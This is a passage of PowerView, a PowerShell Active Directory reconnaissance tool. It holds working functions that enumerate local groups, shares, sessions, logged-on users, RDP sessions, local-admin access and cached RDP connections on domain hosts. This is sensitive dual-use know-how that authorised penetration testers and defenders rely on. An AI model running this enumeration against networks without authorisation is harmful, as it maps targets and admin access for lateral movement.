Returns all local groups on the WINDOWS7 host.

.EXAMPLE

PS C:\> "WINDOWS7", "WINDOWSSP" | Get-NetLocalGroup -API

Returns all local groups on the the passed hosts using API calls instead of the

WinNT service provider.

.LINK

http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together

http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx

#>

[CmdletBinding(DefaultParameterSetName = 'WinNT')]

param(

[Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)]

[Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)]

[Alias('HostName')]

[String[]]

$ComputerName = $Env:ComputerName,

[Parameter(ParameterSetName = 'WinNT')]

[Parameter(ParameterSetName = 'API')]

[ValidateScript({Test-Path -Path $\_ })]

[Alias('HostList')]

[String]

$ComputerFile,

[Parameter(ParameterSetName = 'WinNT')]

[Parameter(ParameterSetName = 'API')]

[String]

$GroupName = 'Administrators',

[Parameter(ParameterSetName = 'WinNT')]

[Switch]

$ListGroups,

[Parameter(ParameterSetName = 'WinNT')]

[Switch]

$Recurse,

[Parameter(ParameterSetName = 'API')]

[Switch]

$API

)

process {

$Servers = @()

# if we have a host list passed, grab it

if($ComputerFile) {

$Servers = Get-Content -Path $ComputerFile

}

else {

# otherwise assume a single host name

$Servers += $ComputerName | Get-NameField

}

# query the specified group using the WINNT provider, and

# extract fields as appropriate from the results

ForEach($Server in $Servers) {

if($API) {

# if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information

# arguments for NetLocalGroupGetMembers

$QueryLevel = 2

$PtrInfo = [IntPtr]::Zero

$EntriesRead = 0

$TotalRead = 0

$ResumeHandle = 0

# get the local user information

$Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)

# Locate the offset of the initial intPtr

$Offset = $PtrInfo.ToInt64()

$LocalUsers = @()

# 0 = success

if (($Result -eq 0) -and ($Offset -gt 0)) {

# Work out how much to increment the pointer by finding out the size of the structure

$Increment = $LOCALGROUP\_MEMBERS\_INFO\_2::GetSize()

# parse all the result structures

for ($i = 0; ($i -lt $EntriesRead); $i++) {

# create a new int ptr at the given offset and cast the pointer as our result structure

$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset

$Info = $NewIntPtr -as $LOCALGROUP\_MEMBERS\_INFO\_2

$Offset = $NewIntPtr.ToInt64()

$Offset += $Increment

$SidString = ""

$Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2\_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()

if($Result2 -eq 0) {

Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"

}

else {

$LocalUser = New-Object PSObject

$LocalUser | Add-Member Noteproperty 'ComputerName' $Server

$LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2\_domainandname

$LocalUser | Add-Member Noteproperty 'SID' $SidString

$IsGroup = $($Info.lgrmi2\_sidusage -eq 'SidTypeGroup')

$LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup

$LocalUser.PSObject.TypeNames.Add('PowerView.LocalUserAPI')

$LocalUsers += $LocalUser

}

}

# free up the result buffer

$Null = $Netapi32::NetApiBufferFree($PtrInfo)

# try to extract out the machine SID by using the -500 account as a reference

$MachineSid = $LocalUsers | Where-Object {$\_.SID -like '\*-500'}

$Parts = $MachineSid.SID.Split('-')

$MachineSid = $Parts[0..($Parts.Length -2)] -join '-'

$LocalUsers | ForEach-Object {

if($\_.SID -match $MachineSid) {

$\_ | Add-Member Noteproperty 'IsDomain' $False

}

else {

$\_ | Add-Member Noteproperty 'IsDomain' $True

}

}

$LocalUsers

}

else {

Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"

}

}

else {

# otherwise we're using the WinNT service provider

try {

if($ListGroups) {

# if we're listing the group names on a remote server

$Computer = [ADSI]"WinNT://$Server,computer"

$Computer.psbase.children | Where-Object { $\_.psbase.schemaClassName -eq 'group' } | ForEach-Object {

$Group = New-Object PSObject

$Group | Add-Member Noteproperty 'Server' $Server

$Group | Add-Member Noteproperty 'Group' ($\_.name[0])

$Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $\_.objectsid[0],0).Value)

$Group | Add-Member Noteproperty 'Description' ($\_.Description[0])

$Group.PSObject.TypeNames.Add('PowerView.LocalGroup')

$Group

}

}

else {

# otherwise we're listing the group members

$Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members'))

$Members | ForEach-Object {

$Member = New-Object PSObject

$Member | Add-Member Noteproperty 'ComputerName' $Server

$AdsPath = ($\_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $\_, $Null)).Replace('WinNT://', '')

$Class = $\_.GetType().InvokeMember('Class', 'GetProperty', $Null, $\_, $Null)

# try to translate the NT4 domain to a FQDN if possible

$Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical'

$IsGroup = $Class -eq "Group"

if($Name) {

$FQDN = $Name.split("/")[0]

$ObjName = $AdsPath.split("/")[-1]

$Name = "$FQDN/$ObjName"

$IsDomain = $True

}

else {

$ObjName = $AdsPath.split("/")[-1]

$Name = $AdsPath

$IsDomain = $False

}

$Member | Add-Member Noteproperty 'AccountName' $Name

$Member | Add-Member Noteproperty 'IsDomain' $IsDomain

$Member | Add-Member Noteproperty 'IsGroup' $IsGroup

if($IsDomain) {

# translate the binary sid to a string

$Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($\_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $\_, $Null),0)).Value)

$Member | Add-Member Noteproperty 'Description' ""

$Member | Add-Member Noteproperty 'Disabled' ""

if($IsGroup) {

$Member | Add-Member Noteproperty 'LastLogin' ""

}

else {

try {

$Member | Add-Member Noteproperty 'LastLogin' ( $\_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $\_, $Null))

}

catch {

$Member | Add-Member Noteproperty 'LastLogin' ""

}

}

$Member | Add-Member Noteproperty 'PwdLastSet' ""

$Member | Add-Member Noteproperty 'PwdExpired' ""

$Member | Add-Member Noteproperty 'UserFlags' ""

}

else {

# repull this user object so we can ensure correct information

$LocalUser = $([ADSI] "WinNT://$AdsPath")

# translate the binary sid to a string

$Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value)

$Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0])

if($IsGroup) {

$Member | Add-Member Noteproperty 'PwdLastSet' ""

$Member | Add-Member Noteproperty 'PwdExpired' ""

$Member | Add-Member Noteproperty 'UserFlags' ""

$Member | Add-Member Noteproperty 'Disabled' ""

$Member | Add-Member Noteproperty 'LastLogin' ""

}

else {

$Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0]))

$Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1')

$Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] )

# UAC flags of 0x2 mean the account is disabled

$Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2)

try {

$Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0])

}

catch {

$Member | Add-Member Noteproperty 'LastLogin' ""

}

}

}

$Member.PSObject.TypeNames.Add('PowerView.LocalUser')

$Member

# if the result is a group domain object and we're recursing,

# try to resolve all the group member results

if($Recurse -and $IsGroup) {

if($IsDomain) {

$FQDN = $Name.split("/")[0]

$GroupName = $Name.split("/")[1].trim()

Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object {

$Member = New-Object PSObject

$Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($\_.GroupName)"

$MemberDN = $\_.distinguishedName

# extract the FQDN from the Distinguished Name

$MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'

$MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $\_.samaccounttype

if ($\_.samAccountName) {

# forest users have the samAccountName set

$MemberName = $\_.samAccountName

}

else {

try {

# external trust users have a SID, so convert it

try {

$MemberName = Convert-SidToName $\_.cn

}

catch {

# if there's a problem contacting the domain to resolve the SID

$MemberName = $\_.cn

}

}

catch {

Write-Debug "Error resolving SID : $\_"

}

}

$Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName"

$Member | Add-Member Noteproperty 'SID' $\_.objectsid

$Member | Add-Member Noteproperty 'Description' $\_.description

$Member | Add-Member Noteproperty 'Disabled' $False

$Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup

$Member | Add-Member Noteproperty 'IsDomain' $True

$Member | Add-Member Noteproperty 'LastLogin' ''

$Member | Add-Member Noteproperty 'PwdLastSet' $\_.pwdLastSet

$Member | Add-Member Noteproperty 'PwdExpired' ''

$Member | Add-Member Noteproperty 'UserFlags' $\_.userAccountControl

$Member.PSObject.TypeNames.Add('PowerView.LocalUser')

$Member

}

} else {

Get-NetLocalGroup -ComputerName $Server -GroupName $ObjName -Recurse

}

}

}

}

}

catch {

Write-Warning "[!] Error: $\_"

}

}

}

}

}

filter Get-NetShare {

<#

.SYNOPSIS

This function will execute the NetShareEnum Win32API call to query

a given host for open shares. This is a replacement for

"net share \\hostname"

.PARAMETER ComputerName

The hostname to query for shares. Also accepts IP addresses.

.OUTPUTS

SHARE\_INFO\_1 structure. A representation of the SHARE\_INFO\_1

result structure which includes the name and note for each share,

with the ComputerName added.

.EXAMPLE

PS C:\> Get-NetShare

Returns active shares on the local host.

.EXAMPLE

PS C:\> Get-NetShare -ComputerName sqlserver

Returns active shares on the 'sqlserver' host

.EXAMPLE

PS C:\> Get-NetComputer | Get-NetShare

Returns all shares for all computers in the domain.

.LINK

http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/

#>

[CmdletBinding()]

param(

[Parameter(ValueFromPipeline=$True)]

[Alias('HostName')]

[Object[]]

[ValidateNotNullOrEmpty()]

$ComputerName = 'localhost'

)

# extract the computer name from whatever object was passed on the pipeline

$Computer = $ComputerName | Get-NameField

# arguments for NetShareEnum

$QueryLevel = 1

$PtrInfo = [IntPtr]::Zero

$EntriesRead = 0

$TotalRead = 0

$ResumeHandle = 0

# get the share information

$Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)

# Locate the offset of the initial intPtr

$Offset = $PtrInfo.ToInt64()

# 0 = success

if (($Result -eq 0) -and ($Offset -gt 0)) {

# Work out how much to increment the pointer by finding out the size of the structure

$Increment = $SHARE\_INFO\_1::GetSize()

# parse all the result structures

for ($i = 0; ($i -lt $EntriesRead); $i++) {

# create a new int ptr at the given offset and cast the pointer as our result structure

$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset

$Info = $NewIntPtr -as $SHARE\_INFO\_1

# return all the sections of the structure

$Shares = $Info | Select-Object \*

$Shares | Add-Member Noteproperty 'ComputerName' $Computer

$Offset = $NewIntPtr.ToInt64()

$Offset += $Increment

$Shares

}

# free up the result buffer

$Null = $Netapi32::NetApiBufferFree($PtrInfo)

}

else {

Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"

}

}

filter Get-NetLoggedon {

<#

.SYNOPSIS

This function will execute the NetWkstaUserEnum Win32API call to query

a given host for actively logged on users.

.PARAMETER ComputerName

The hostname to query for logged on users.

.OUTPUTS

WKSTA\_USER\_INFO\_1 structure. A representation of the WKSTA\_USER\_INFO\_1

result structure which includes the username and domain of logged on users,

with the ComputerName added.

.EXAMPLE

PS C:\> Get-NetLoggedon

Returns users actively logged onto the local host.

.EXAMPLE

PS C:\> Get-NetLoggedon -ComputerName sqlserver

Returns users actively logged onto the 'sqlserver' host.

.EXAMPLE

PS C:\> Get-NetComputer | Get-NetLoggedon

Returns all logged on userse for all computers in the domain.

.LINK

http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/

#>

[CmdletBinding()]

param(

[Parameter(ValueFromPipeline=$True)]

[Alias('HostName')]

[Object[]]

[ValidateNotNullOrEmpty()]

$ComputerName = 'localhost'

)

# extract the computer name from whatever object was passed on the pipeline

$Computer = $ComputerName | Get-NameField

# Declare the reference variables

$QueryLevel = 1

$PtrInfo = [IntPtr]::Zero

$EntriesRead = 0

$TotalRead = 0

$ResumeHandle = 0

# get logged on user information

$Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)

# Locate the offset of the initial intPtr

$Offset = $PtrInfo.ToInt64()

# 0 = success

if (($Result -eq 0) -and ($Offset -gt 0)) {

# Work out how much to increment the pointer by finding out the size of the structure

$Increment = $WKSTA\_USER\_INFO\_1::GetSize()

# parse all the result structures

for ($i = 0; ($i -lt $EntriesRead); $i++) {

# create a new int ptr at the given offset and cast the pointer as our result structure

$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset

$Info = $NewIntPtr -as $WKSTA\_USER\_INFO\_1

# return all the sections of the structure

$LoggedOn = $Info | Select-Object \*

$LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer

$Offset = $NewIntPtr.ToInt64()

$Offset += $Increment

$LoggedOn

}

# free up the result buffer

$Null = $Netapi32::NetApiBufferFree($PtrInfo)

}

else {

Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"

}

}

filter Get-NetSession {

<#

.SYNOPSIS

This function will execute the NetSessionEnum Win32API call to query

a given host for active sessions on the host.

Heavily adapted from dunedinite's post on stackoverflow (see LINK below)

.PARAMETER ComputerName

The ComputerName to query for active sessions.

.PARAMETER UserName

The user name to filter for active sessions.

.OUTPUTS

SESSION\_INFO\_10 structure. A representation of the SESSION\_INFO\_10

result structure which includes the host and username associated

with active sessions, with the ComputerName added.

.EXAMPLE

PS C:\> Get-NetSession

Returns active sessions on the local host.

.EXAMPLE

PS C:\> Get-NetSession -ComputerName sqlserver

Returns active sessions on the 'sqlserver' host.

.EXAMPLE

PS C:\> Get-NetDomainController | Get-NetSession

Returns active sessions on all domain controllers.

.LINK

http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/

#>

[CmdletBinding()]

param(

[Parameter(ValueFromPipeline=$True)]

[Alias('HostName')]

[Object[]]

[ValidateNotNullOrEmpty()]

$ComputerName = 'localhost',

[String]

$UserName = ''

)

# extract the computer name from whatever object was passed on the pipeline

$Computer = $ComputerName | Get-NameField

# arguments for NetSessionEnum

$QueryLevel = 10

$PtrInfo = [IntPtr]::Zero

$EntriesRead = 0

$TotalRead = 0

$ResumeHandle = 0

# get session information

$Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)

# Locate the offset of the initial intPtr

$Offset = $PtrInfo.ToInt64()

# 0 = success

if (($Result -eq 0) -and ($Offset -gt 0)) {

# Work out how much to increment the pointer by finding out the size of the structure

$Increment = $SESSION\_INFO\_10::GetSize()

# parse all the result structures

for ($i = 0; ($i -lt $EntriesRead); $i++) {

# create a new int ptr at the given offset and cast the pointer as our result structure

$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset

$Info = $NewIntPtr -as $SESSION\_INFO\_10

# return all the sections of the structure

$Sessions = $Info | Select-Object \*

$Sessions | Add-Member Noteproperty 'ComputerName' $Computer

$Offset = $NewIntPtr.ToInt64()

$Offset += $Increment

$Sessions

}

# free up the result buffer

$Null = $Netapi32::NetApiBufferFree($PtrInfo)

}

else {

Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"

}

}

filter Get-LoggedOnLocal {

<#

.SYNOPSIS

This function will query the HKU registry values to retrieve the local

logged on users SID and then attempt and reverse it.

Adapted technique from Sysinternal's PSLoggedOn script. Benefit over

using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges

required (NetWkstaUserEnum requires remote admin access).

Note: This function requires only domain user rights on the

machine you're enumerating, but remote registry must be enabled.

Function: Get-LoggedOnLocal

Author: Matt Kelly, @BreakersAll

.PARAMETER ComputerName

The ComputerName to query for active sessions.

.EXAMPLE

PS C:\> Get-LoggedOnLocal

Returns active sessions on the local host.

.EXAMPLE

PS C:\> Get-LoggedOnLocal -ComputerName sqlserver

Returns active sessions on the 'sqlserver' host.

#>

[CmdletBinding()]

param(

[Parameter(ValueFromPipeline=$True)]

[Alias('HostName')]

[Object[]]

[ValidateNotNullOrEmpty()]

$ComputerName = 'localhost'

)

# process multiple host object types from the pipeline

$ComputerName = Get-NameField -Object $ComputerName

try {

# retrieve HKU remote registry values

$Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName")

# sort out bogus sid's like \_class

$Reg.GetSubKeyNames() | Where-Object { $\_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object {

$UserName = Convert-SidToName $\_

$Parts = $UserName.Split('\')

$UserDomain = $Null

$UserName = $Parts[-1]

if ($Parts.Length -eq 2) {

$UserDomain = $Parts[0]

}

$LocalLoggedOnUser = New-Object PSObject

$LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName"

$LocalLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain

$LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName

$LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $\_

$LocalLoggedOnUser

}

}

catch {

Write-Verbose "Error opening remote registry on '$ComputerName'"

}

}

filter Get-NetRDPSession {

<#

.SYNOPSIS

This function will execute the WTSEnumerateSessionsEx and

WTSQuerySessionInformation Win32API calls to query a given

RDP remote service for active sessions and originating IPs.

This is a replacement for qwinsta.

Note: only members of the Administrators or Account Operators local group

can successfully execute this functionality on a remote target.

.PARAMETER ComputerName

The hostname to query for active RDP sessions.

.EXAMPLE

PS C:\> Get-NetRDPSession

Returns active RDP/terminal sessions on the local host.

.EXAMPLE

PS C:\> Get-NetRDPSession -ComputerName "sqlserver"

Returns active RDP/terminal sessions on the 'sqlserver' host.

.EXAMPLE

PS C:\> Get-NetDomainController | Get-NetRDPSession

Returns active RDP/terminal sessions on all domain controllers.

#>

[CmdletBinding()]

param(

[Parameter(ValueFromPipeline=$True)]

[Alias('HostName')]

[Object[]]

[ValidateNotNullOrEmpty()]

$ComputerName = 'localhost'

)

# extract the computer name from whatever object was passed on the pipeline

$Computer = $ComputerName | Get-NameField

# open up a handle to the Remote Desktop Session host

$Handle = $Wtsapi32::WTSOpenServerEx($Computer)

# if we get a non-zero handle back, everything was successful

if ($Handle -ne 0) {

# arguments for WTSEnumerateSessionsEx

$ppSessionInfo = [IntPtr]::Zero

$pCount = 0

# get information on all current sessions

$Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()

# Locate the offset of the initial intPtr

$Offset = $ppSessionInfo.ToInt64()

if (($Result -ne 0) -and ($Offset -gt 0)) {

# Work out how much to increment the pointer by finding out the size of the structure

$Increment = $WTS\_SESSION\_INFO\_1::GetSize()

# parse all the result structures

for ($i = 0; ($i -lt $pCount); $i++) {

# create a new int ptr at the given offset and cast the pointer as our result structure

$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset

$Info = $NewIntPtr -as $WTS\_SESSION\_INFO\_1

$RDPSession = New-Object PSObject

if ($Info.pHostName) {

$RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName

}

else {

# if no hostname returned, use the specified hostname

$RDPSession | Add-Member Noteproperty 'ComputerName' $Computer

}

$RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName

if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) {

# if a domain isn't returned just use the username

$RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)"

}

else {

$RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)"

}

$RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID

$RDPSession | Add-Member Noteproperty 'State' $Info.State

$ppBuffer = [IntPtr]::Zero

$pBytesReturned = 0

# query for the source client IP with WTSQuerySessionInformation

# https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx

$Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error()

if($Result -eq 0) {

Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError2).Message)"

}

else {

$Offset2 = $ppBuffer.ToInt64()

$NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2

$Info2 = $NewIntPtr2 -as $WTS\_CLIENT\_ADDRESS

$SourceIP = $Info2.Address

if($SourceIP[2] -ne 0) {

$SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5]

}

else {

$SourceIP = $Null

}

$RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP

$RDPSession

# free up the memory buffer

$Null = $Wtsapi32::WTSFreeMemory($ppBuffer)

$Offset += $Increment

}

}

# free up the memory result buffer

$Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount)

}

else {

Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"

}

# Close off the service handle

$Null = $Wtsapi32::WTSCloseServer($Handle)

}

else {

Write-Verbose "Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName"

}

}

filter Invoke-CheckLocalAdminAccess {

<#

.SYNOPSIS

This function will use the OpenSCManagerW Win32API call to establish

a handle to the remote host. If this succeeds, the current user context

has local administrator acess to the target.

Idea stolen from the local\_admin\_search\_enum post module in Metasploit written by:

'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'

'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'

'Royce Davis "r3dy" <rdavis[at]accuvant.com>'

.PARAMETER ComputerName

The hostname to query for active sessions.

.OUTPUTS

$True if the current user has local admin access to the hostname, $False otherwise

.EXAMPLE

PS C:\> Invoke-CheckLocalAdminAccess -ComputerName sqlserver

Returns active sessions on the local host.

.EXAMPLE

PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess

Sees what machines in the domain the current user has access to.

.LINK

https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local\_admin\_search\_enum.rb

http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/

#>

[CmdletBinding()]

param(

[Parameter(ValueFromPipeline=$True)]

[Alias('HostName')]

[Object[]]

[ValidateNotNullOrEmpty()]

$ComputerName = 'localhost'

)

# extract the computer name from whatever object was passed on the pipeline

$Computer = $ComputerName | Get-NameField

# 0xF003F - SC\_MANAGER\_ALL\_ACCESS

# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx

$Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()

Write-Verbose "Invoke-CheckLocalAdminAccess handle: $Handle"

$IsAdmin = New-Object PSObject

$IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer

# if we get a non-zero handle back, everything was successful

if ($Handle -ne 0) {

$Null = $Advapi32::CloseServiceHandle($Handle)

$IsAdmin | Add-Member Noteproperty 'IsAdmin' $True

}

else {

Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"

$IsAdmin | Add-Member Noteproperty 'IsAdmin' $False

}

$IsAdmin

}

filter Get-SiteName {

<#

.SYNOPSIS

This function will use the DsGetSiteName Win32API call to look up the

name of the site where a specified computer resides.

.PARAMETER ComputerName

The hostname to look the site up for, default to localhost.

.EXAMPLE

PS C:\> Get-SiteName -ComputerName WINDOWS1

Returns the site for WINDOWS1.testlab.local.

.EXAMPLE

PS C:\> Get-NetComputer | Get-SiteName

Returns the sites for every machine in AD.

#>

[CmdletBinding()]

param(

[Parameter(ValueFromPipeline=$True)]

[Alias('HostName')]

[Object[]]

[ValidateNotNullOrEmpty()]

$ComputerName = $Env:ComputerName

)

# extract the computer name from whatever object was passed on the pipeline

$Computer = $ComputerName | Get-NameField

# if we get an IP address, try to resolve the IP to a hostname

if($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') {

$IPAddress = $Computer

$Computer = [System.Net.Dns]::GetHostByAddress($Computer)

}

else {

$IPAddress = @(Get-IPAddress -ComputerName $Computer)[0].IPAddress

}

$PtrInfo = [IntPtr]::Zero

$Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo)

$ComputerSite = New-Object PSObject

$ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer

$ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress

if ($Result -eq 0) {

$Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)

$ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename

}

else {

$ErrorMessage = "Error: $(([ComponentModel.Win32Exception] $Result).Message)"

$ComputerSite | Add-Member Noteproperty 'SiteName' $ErrorMessage

}

$Null = $Netapi32::NetApiBufferFree($PtrInfo)

$ComputerSite

}

filter Get-LastLoggedOn {

<#

.SYNOPSIS

This function uses remote registry functionality to return

the last user logged onto a target machine.

Note: This function requires administrative rights on the

machine you're enumerating.

.PARAMETER ComputerName

The hostname to query for the last logged on user.

Defaults to the localhost.

.PARAMETER Credential

A [Management.Automation.PSCredential] object for the remote connection.

.EXAMPLE

PS C:\> Get-LastLoggedOn

Returns the last user logged onto the local machine.

.EXAMPLE

PS C:\> Get-LastLoggedOn -ComputerName WINDOWS1

Returns the last user logged onto WINDOWS1

.EXAMPLE

PS C:\> Get-NetComputer | Get-LastLoggedOn

Returns the last user logged onto all machines in the domain.

#>

[CmdletBinding()]

param(

[Parameter(ValueFromPipeline=$True)]

[Alias('HostName')]

[Object[]]

[ValidateNotNullOrEmpty()]

$ComputerName = 'localhost',

[Management.Automation.PSCredential]

$Credential

)

# extract the computer name from whatever object was passed on the pipeline

$Computer = $ComputerName | Get-NameField

# HKEY\_LOCAL\_MACHINE

$HKLM = 2147483650

# try to open up the remote registry key to grab the last logged on user

try {

if($Credential) {

$Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue

}

else {

$Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue

}

$Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI"

$Value = "LastLoggedOnUser"

$LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue

$LastLoggedOn = New-Object PSObject

$LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer

$LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser

$LastLoggedOn

}

catch {

Write-Warning "[!] Error opening remote registry on $Computer. Remote registry likely not enabled."

}

}

filter Get-CachedRDPConnection {

<#

.SYNOPSIS

Uses remote registry functionality to query all entries for the

"Windows Remote Desktop Connection Client" on a machine, separated by

user and target server.

Note: This function requires administrative rights on the

machine you're enumerating.

.PARAMETER ComputerName

The hostname to query for RDP client information.

Defaults to localhost.

.PARAMETER Credential

A [Management.Automation.PSCredential] object for the remote connection.

.EXAMPLE

PS C:\> Get-CachedRDPConnection

Returns the RDP connection client information for the local machine.

.EXAMPLE

PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local

Returns the RDP connection client information for the WINDOWS2.testlab.local machine

.EXAMPLE

PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -Credential $Cred

Returns the RDP connection client information for the WINDOWS2.testlab.local machine using alternate credentials.

.EXAMPLE

PS C:\> Get-NetComputer | Get-CachedRDPConnection

Get cached RDP information for all machines in the domain.

#>

[CmdletBinding()]

param(

[Parameter(ValueFromPipeline=$True)]

[Alias('HostName')]

[Object[]]

[ValidateNotNullOrEmpty()]

$ComputerName = 'localhost',

[Management.Automation.PSCredential]

$Credential

)

# extract the computer name from whatever object was passed on the pipeline

$Computer = $ComputerName | Get-NameField

# HKEY\_USERS

$HKU = 2147483651

try {

if($Credential) {

$Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue

}

else {

$Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue

}

# extract out the SIDs of domain users in this hive

$UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $\_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }

foreach ($UserSID in $UserSIDs) {

try {

$UserName = Convert-SidToName $UserSID

# pull out all the cached RDP connections

$ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames

foreach ($Connection in $ConnectionKeys) {

# make sure this key is a cached connection

if($Connection -match 'MRU.\*') {

$TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue

$FoundConnection = New-Object PSObject

$FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer

